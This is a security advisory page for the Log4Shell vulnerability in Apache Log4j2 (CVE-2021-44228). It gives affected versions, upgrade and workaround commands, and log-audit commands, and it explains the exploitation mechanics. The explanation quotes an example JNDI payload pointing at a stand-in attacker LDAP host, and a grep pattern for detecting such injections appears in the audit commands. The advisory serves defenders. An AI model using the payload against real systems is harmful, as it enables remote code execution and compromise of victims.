CVE DatabaseCVE-2021-44228
한국어 권고문 →
CVE-2021-4422810.0/CRITICALCISA KEVCWE-20CWE-400CWE-502CWE-917

Apache Log4j2 Remote Code Execution Vulnerability (Log4Shell, CVE-2021-44228) Security Advisory

⚡ Jump to Patch
Affected Vendors
apache
Affected Components
log4j
Published Date
2021-12-10
CVSS v3.1
10.0
CRITICAL
EPSS (30d)
100.0%
FIRST.org
CISA KEV
Exploited

Executive & SecOps Summary

SECOPS ASSESSMENT
Affected Scope

Java applications utilizing Apache Log4j2 (log4j-core) versions 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1)

Impact

Unauthenticated remote attackers can execute arbitrary code by forcing the application to load malicious Java classes from attacker-controlled LDAP or other JNDI-related endpoints, leading to full system compromise (CVSS 10.0 Critical)

Mitigation

Immediately upgrade Log4j2 to the latest secure version (2.17.1 or higher; or 2.12.4 / 2.3.2 depending on Java version), or apply workarounds such as removing the JndiLookup class

Affected Products & Version Scope

Apache Log4j2 versions 2.0-beta9 through 2.15.0 (excluding patched versions 2.12.2, 2.12.3, and 2.3.1). This issue is specific to the log4j-core artifact and does not affect log4net, log4cxx, or other Apache Logging Services.

Remediation & Live Workaround Commands

PATCH & WORKAROUND

1. Official Patch & Version Upgrade Commands

The most effective remediation is upgrading Log4j2 to version 2.16.0 or higher (2.17.1+ recommended). Update your build configuration files (e.g., Maven pom.xml or Gradle build files) to enforce the secure version.

xml
<!-- Maven pom.xml Dependency Update Example -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.17.1</version>
</dependency>

2. Temporary Workaround & Hardening Configuration

If upgrading immediately is not feasible, you can mitigate the vulnerability by removing the JndiLookup class directly from the log4j-core JAR file to block the exploitation path.

bash
# Remove JndiLookup class from log4j-core JAR files
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

3. Log Audit & IoC Verification Commands

Scan your file systems for vulnerable Log4j2 binaries and inspect application logs for potential JNDI injection exploit attempts.

bash
# 1. Locate vulnerable log4j-core JAR files on the system
find / -name 'log4j-core-*.jar' 2>/dev/null

# 2. Search application logs for JNDI injection patterns
egrep -I -i -r '\$\{jndi:(ldap|rmi|ldaps|dns|http|https|iiop)' /var/log/
Interactive SecOps Remediation Checklist
0/4 (0%)
Recommended Security Control & Mitigation Partner
Snyk Open Source & Container Security
Immediately upgrade Log4j2 to version 2.17.1 or higher, or apply the JndiLookup class removal workaround to secure your environments.

Scan Your Repositories for Transitive Vulnerable Dependencies in 30 Seconds

Automatically detect vulnerable packages across npm, PyPI, Maven, and Go, and open automated fix Pull Requests without breaking your build.

Free Forever Tier · 1-Click GitHub/GitLab Auto-PR
Master DevSecOps: Automated SAST/SCA in GitHub Actions & Kubernetes
View Course Curriculum

Technical Root Cause & Exploitation Mechanics

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2021-44228, widely known as Log4Shell) resides in the message lookup substitution mechanism of Apache Log4j2. Log4j2 supports dynamic property evaluation using the '${prefix:name}' syntax. When processing log messages containing JNDI (Java Naming and Directory Interface) lookups, the library fails to validate user-controlled input, allowing connection attempts to arbitrary external directory services (such as LDAP, RMI, or DNS) specified in the log payload.

2. Exploitation Mechanics & Attack Scenario

An attacker injects a malicious JNDI payload, such as '${jndi:ldap://attacker.com/a}', into input fields or headers (e.g., User-Agent, X-Forwarded-For) that are processed and logged by the target application. When Log4j2 attempts to log this string, the JNDI lookup engine triggers an outbound connection to the attacker's LDAP server. The LDAP server responds with a reference pointing to a malicious Java class file hosted on an external server. The victim application then downloads and executes this class in memory, granting the attacker remote code execution (RCE).

3. Infrastructure & Business Impact

With a CVSS score of 10.0 and active exploitation documented in CISA's KEV catalog, this vulnerability poses an extreme risk to enterprise infrastructure. Successful exploitation allows attackers to establish initial access, deploy ransomware, exfiltrate sensitive data, or install cryptominers. Because Log4j2 is deeply embedded in numerous enterprise software suites, cloud services, and open-source frameworks, it presents a massive supply-chain risk capable of causing widespread operational disruption.

Official Vendor Advisories & References

NVD Original English Description

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Frequently Asked SecOps Questions (CVE-2021-44228)

FAQ

Q1. How critical is CVE-2021-44228 and is it actively exploited in the wild?

CVE-2021-44228 is rated CVSS 10.0 (CRITICAL) with a 30-day EPSS exploitation probability of 100.0%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.

Q2. Which vendors and products are affected by CVE-2021-44228?

Primary impacted vendors include apache across log4j. Scope summary: Apache Log4j2 versions 2.0-beta9 through 2.15.0 (excluding patched versions 2.12.2, 2.12.3, and 2.3.1). This issue is specific to the log4j-core artifact and does not affect log4net, log4cxx, or other Apache Logging Services.

Q3. What temporary mitigations or workarounds exist for CVE-2021-44228 before patching?

[Mitigation] Immediately upgrade Log4j2 to the latest secure version (2.17.1 or higher; or 2.12.4 / 2.3.2 depending on Java version), or apply workarounds such as removing the JndiLookup class Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.

SECOPS WORKBENCH INTEGRATION

Generate an Internal Engineering Notice or CISO Report for CVE-2021-44228

Instantly format this advisory into an executive CISO summary or engineering patch ticket.

Generate Report →

🔗 Related Advisories in Similar Stack (apache)

View Category →
SecOps Advisory Dispatch & RSS Feed

Subscribe to Daily Vulnerability Briefings & KEV Alerts

Concise morning briefings for SecOps, DevSecOps, and SRE teams covering newly exploited CVEs and mitigation priorities.

Slack / Teams / RSS Feed:
PatchKO
CVE-2021-44228 Apache Log4j2 Remote Code Execution Vulnerability (Log4Shell, CVE-2021-44228) Security Advisory (CVSS 10.0) - Patch & Workaround | CVE Pulse